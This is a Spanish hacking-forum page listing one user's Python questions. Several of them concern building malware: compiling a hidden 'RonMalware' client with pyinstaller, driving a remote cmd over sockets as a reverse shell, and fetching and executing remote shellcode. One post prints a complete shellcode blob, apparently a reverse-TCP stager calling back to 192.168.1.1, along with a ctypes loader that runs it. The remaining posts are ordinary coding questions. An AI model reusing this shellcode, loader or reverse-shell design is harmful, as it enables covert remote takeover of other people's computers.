elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1] 2 3 4
1  Programación / Scripting / [Python] Strings diferentes en: 22 Enero 2019, 20:41 pm
Buenas!.

Tengo un problemilla con una string. Como la string contiene información sensible os pongo una parte de la misma.

String:
Código
  1. \x7B\x22country\x22\x3A\x22DE\x22,\x22currentUser

Código
  1. string = "\x7B\x22country\x22\x3A\x22DE\x22,\x22currentUser"
  2.  
  3. print(string)
Output: {"country":"DE","currentUser

Así funciona perfectamente pero cuando la string la consigo a través de regex la string se queda como el principio (\x7B\x22country\x22\x3A\x22DE\x22,\x22currentUser).
2  Programación / Scripting / [PYTHON] Stream cmd con socket en: 9 Junio 2018, 14:38 pm
Buenas.

Tengo una duda desde hace muchísimo tiempo y es como puedo crear una cmd en un ordenador y controlarla desde otro a a través de socket. No se si me he explicado bien.

Windows 1 - Crear un proceso (cmd) y crear un server con socket.

Ordenador remoto - Conecta con windows y controla la cmd.

No quiero un ejecutor de commandos, quiero tener siempre el mismo proceso pudiendo asi cambiar de directorio, etc..
3  Programación / Scripting / Error en exe creado con pyinstaller en: 8 Abril 2018, 23:27 pm
Buenas!.

Mi problema es el siguiente:

Tengo un script que quiero pasar a exe pero que no se vea y para ello uso el argumento --noconsole en pyinstaller pero cuando lo ejecuto da error. El script no tiene ningún error ya que funciona perfectamente sin pasarlo a exe. No se si es porque pyinstaller no coje todas las librerías pero necesito solucionarlo pronto. Gracias!.

Script:
 https://github.com/MrSentex/RonMalware/blob/master/client.py

Output pyinstaller:
Código
  1. 0037:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
  2. 672 INFO: PyInstaller: 3.3.1
  3. 676 INFO: Python: 2.7.0
  4. 678 INFO: Platform: Windows-7-6.1.7601-SP2
  5. 685 INFO: wrote C:\RonMalware\client.spec
  6. 701 INFO: UPX is not available.
  7. 706 INFO: Extending PYTHONPATH with paths
  8. ['C:\\RonMalware', 'C:\\RonMalware']
  9. 713 INFO: checking Analysis
  10. 718 INFO: Building Analysis because out00-Analysis.toc is non existent
  11. 726 INFO: Initializing module dependency graph...
  12. 774 INFO: Initializing module graph hooks...
  13. 902 INFO: running Analysis out00-Analysis.toc
  14. 951 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
  15.  required by c:\Python27\python.exe
  16. 997 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none ...
  17. 1006 INFO: Found manifest C:\windows\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_deadbeef.manifest
  18. 1026 INFO: Searching for file msvcr90.dll
  19. 1030 INFO: Found file C:\windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_deadbeef\msvcr90.dll
  20. 1041 INFO: Searching for file msvcp90.dll
  21. 1046 INFO: Found file C:\windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_deadbeef\msvcp90.dll
  22. 1060 INFO: Searching for file msvcm90.dll
  23. 1064 INFO: Found file C:\windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_deadbeef\msvcm90.dll
  24. 1074 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 21022, 8)
  25. 1315 INFO: Caching module hooks...
  26. 1331 INFO: Analyzing C:\RonMalware\client.py
  27. 4644 INFO: Processing pre-safe import module hook   urllib3.packages.six.moves
  28. 11006 INFO: Processing pre-find module path hook   distutils
  29. 15789 INFO: Loading module hooks...
  30. 15792 INFO: Loading module hook "hook-distutils.py"...
  31. 15799 INFO: Loading module hook "hook-PIL.py"...
  32. 15807 INFO: Excluding import 'FixTk'
  33. 15813 INFO: Excluding import 'Tkinter'
  34. 15822 INFO: Excluding import 'PyQt5'
  35. 15830 INFO:   Removing import of PyQt5 from module PIL.ImageQt
  36. 15843 INFO: Excluding import 'PySide'
  37. 15862 INFO:   Removing import of PySide from module PIL.ImageQt
  38. 15869 INFO: Excluding import 'PyQt4'
  39. 15875 INFO:   Removing import of PyQt4 from module PIL.ImageQt
  40. 15885 INFO: Loading module hook "hook-httplib.py"...
  41. 15891 INFO: Loading module hook "hook-_tkinter.py"...
  42. 16690 INFO: checking Tree
  43. 16692 INFO: Building Tree because out00-Tree.toc is non existent
  44. 16698 INFO: Building Tree out00-Tree.toc
  45. 16977 INFO: checking Tree
  46. 16980 INFO: Building Tree because out01-Tree.toc is non existent
  47. 16991 INFO: Building Tree out01-Tree.toc
  48. 17029 INFO: Loading module hook "hook-PIL.Image.py"...
  49. 18325 INFO: Loading module hook "hook-requests.py"...
  50. 18339 INFO: Loading module hook "hook-cv2.py"...
  51. 21925 INFO: Processing pre-safe import module hook   _xmlplus
  52. 22714 INFO: Processing pre-find module path hook   site
  53. 22720 INFO: site: retargeting to fake-dir 'c:\\Python27\\lib\\site-packages\\PyInstaller\\fake-modules'
  54. 29451 INFO: Loading module hook "hook-certifi.py"...
  55. 29468 INFO: Loading module hook "hook-setuptools.py"...
  56. 29573 INFO: Loading module hook "hook-PIL.SpiderImagePlugin.py"...
  57. 29583 INFO: Excluding import 'FixTk'
  58. 29592 INFO: Excluding import 'Tkinter'
  59. 29599 INFO: Loading module hook "hook-encodings.py"...
  60. 31196 INFO: Loading module hook "hook-numpy.core.py"...
  61. 32574 INFO: Loading module hook "hook-sqlite3.py"...
  62. 33002 INFO: Loading module hook "hook-sysconfig.py"...
  63. 33013 INFO: Loading module hook "hook-xml.py"...
  64. 33201 INFO: Loading module hook "hook-pydoc.py"...
  65. 33210 INFO: Excluding import 'Tkinter'
  66. 33218 INFO:   Removing import of Tkinter from module pydoc
  67. 33224 INFO: Loading module hook "hook-pkg_resources.py"...
  68. 0046:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
  69. 34223 INFO: Processing pre-safe import module hook   win32com
  70. 34960 INFO: Loading module hook "hook-pywintypes.py"...
  71. 0048:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
  72. 35790 INFO: Loading module hook "hook-win32com.py"...
  73. 36960 INFO: Loading module hook "hook-pythoncom.py"...
  74. 004a:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
  75. 37862 INFO: Looking for ctypes DLLs
  76. 37944 INFO: Analyzing run-time hooks ...
  77. 37962 INFO: Including run-time hook 'pyi_rth__tkinter.py'
  78. 37970 INFO: Including run-time hook 'pyi_rth_pkgres.py'
  79. 37985 INFO: Including run-time hook 'pyi_rth_win32comgenpy.py'
  80. 37997 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
  81. 38030 INFO: Looking for dynamic libraries
  82. 38300 INFO: Searching for assembly x86_Microsoft.VC90.MFC_1fc8b3b9a1e18e3b_9.0.21022.8_none ...
  83. 38308 INFO: Found manifest c:\Python27\lib\site-packages\Pythonwin\Microsoft.VC90.MFC.manifest
  84. 38321 INFO: Searching for file mfc90.dll
  85. 38324 INFO: Found file c:\Python27\lib\site-packages\Pythonwin\mfc90.dll
  86. 38332 INFO: Searching for file mfc90u.dll
  87. 38336 INFO: Found file c:\Python27\lib\site-packages\Pythonwin\mfc90u.dll
  88. 38347 INFO: Searching for file mfcm90.dll
  89. 38365 INFO: Found file c:\Python27\lib\site-packages\Pythonwin\mfcm90.dll
  90. 38375 INFO: Searching for file mfcm90u.dll
  91. 38379 INFO: Found file c:\Python27\lib\site-packages\Pythonwin\mfcm90u.dll
  92. 38390 INFO: Adding redirect Microsoft.VC90.MFC version (9, 0, 21022, 8) -> (9, 0, 21022, 8)
  93. 58931 INFO: Looking for eggs
  94. 58934 INFO: Using Python library c:\Python27\python27.dll
  95. 58945 INFO: Found binding redirects:
  96. [BindingRedirect(name=u'Microsoft.VC90.MFC', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 21022, 8), publicKeyToken=u'1fc8b3b9a1e18e3b'), BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 21022, 8), publicKeyToken=u'1fc8b3b9a1e18e3b')]
  97. 59011 INFO: Warnings written to C:\RonMalware\build\client\warnclient.txt
  98. 59221 INFO: Graph cross-reference written to C:\RonMalware\build\client\xref-client.html
  99. 59745 INFO: checking PYZ
  100. 59747 INFO: Building PYZ because out00-PYZ.toc is non existent
  101. 59758 INFO: Building PYZ (ZlibArchive) C:\RonMalware\build\client\out00-PYZ.pyz
  102. 61743 INFO: Building PYZ (ZlibArchive) C:\RonMalware\build\client\out00-PYZ.pyz completed successfully.
  103. 62003 INFO: checking PKG
  104. 62006 INFO: Building PKG because out00-PKG.toc is non existent
  105. 62013 INFO: Building PKG (CArchive) out00-PKG.pkg
  106. 63257 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 21022, 8)
  107. 83576 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.
  108. 83863 INFO: Bootloader c:\Python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\runw.exe
  109. 83872 INFO: checking EXE
  110. 83876 INFO: Building EXE because out00-EXE.toc is non existent
  111. 83883 INFO: Building EXE from out00-EXE.toc
  112. 83888 INFO: Appending archive to EXE C:\RonMalware\dist\client.exe
  113. 83995 INFO: Building EXE from out00-EXE.toc completed successfully.
  114.  
4  Programación / Scripting / Ejecutar un proceso en segundo plano en python en: 31 Marzo 2018, 12:46 pm
Buenas, me gustaría ejecutar otro script diferente al original y luego poder cerrar el script original y dejando en segundo plano el script diferente.

Gracias!

PD: Es en linux
5  Programación / Scripting / [PYTHON] Leer una shellcode y ejecutarla en: 20 Marzo 2018, 19:05 pm
Hola buenas.

Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente:

Código
  1. from ctypes import *
  2.  
  3. shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  13. "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  14. "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  15. "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  16. "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  17. "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  18. "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  19. "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  20. "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  21. "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  22. "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  23. "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  24. "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  25. "\x53\xff\xd5")  
  26.  
  27. memory_ref = create_string_buffer(shellcode, len(shellcode))
  28. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  29. shellcode()
  30.  

Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!
6  Programación / Scripting / Usar subprocess a través de socket Python en: 8 Marzo 2018, 12:03 pm
Hola buenas estoy intentando hacer una reverse shell. Se puede usar este codigo para manejar una cmd con subprocess
Código
  1. import sys
  2. import subprocess
  3.  
  4. theproc = subprocess.Popen("C:\\Windows\\System32\\cmd.exe", shell = True)
  5. theproc.communicate()
  6.  

Y me gustaria conseguir que funcionara con socket de forma remota.

Gracias!.
7  Programación / Scripting / Sockets python en: 19 Enero 2018, 20:38 pm
Hola, buenas.

Tengo un problema y es que sockets en python no me conecta a un servidor remoto no entiendo el porque pero ahí esta.

Alguien tiene la solución.

Info:

Cliente - Pc normal

Server - VPS Linux con iptables -f
8  Programación / Scripting / IOError: [Errno 0] Error en: 15 Enero 2018, 21:53 pm
Hola buenas.

Estoy intentando hacer un script pero me da un error muy extraño a veces da error y otras no.

Este es el script:
Código
  1. # -*- coding: utf-8 -*-
  2.  
  3. from ipcalc import IP, Network
  4. from time import sleep
  5.  
  6. ip = ""
  7. ipr = ""
  8.  
  9. for x in Network('192.168.1.0/24'):
  10.    ip = ip + "," + str(x)
  11.  
  12. ip = ip[1:]
  13. ipr = ip.split(',')
  14.  
  15. number = 0
  16.  
  17. while number <= 253:
  18.    print ipr[number]
  19.    number += 1
  20.  

Código
  1. Y la salida es :
  2. 192.168.1.1
  3. 192.168.1.2
  4. 192.168.1.3
  5. 192.168.1.4
  6. 192.168.1.5
  7. 192.168.1.6
  8. 192.168.1.7
  9. 192.168.1.8
  10. 192.168.1.9
  11. 192.168.1.10
  12. 192.168.1.11
  13. 1Traceback (most recent call last):
  14.  File "C:\Users\Thomas\Desktop\Programas\Herramientas\Network Scanner\test.py", line 20, in <module>
  15.    print ipr[number]
  16. IOError: [Errno 0] Error
  17.  
9  Programación / Scripting / Declarar variables infinitas en: 2 Enero 2018, 04:53 am
Buenas me gustaria declarar variables infinitas desde python por ejemplo
s1 = "Hola"
s2 = "Hola"
s3 = "Hola"
s4 = "Hola"

y asi infinitamente
10  Foros Generales / Dudas Generales / Visual Studio 2017 C++ en: 17 Octubre 2017, 15:53 pm
Hola he buscado por internet y no encuentro nada que repare mi problema.
Vereis estoy programando en C en visual studio 2017 y al parecer no tengo librerias de c++ porque cuando las intento incluir da error.
Páginas: [1] 2 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines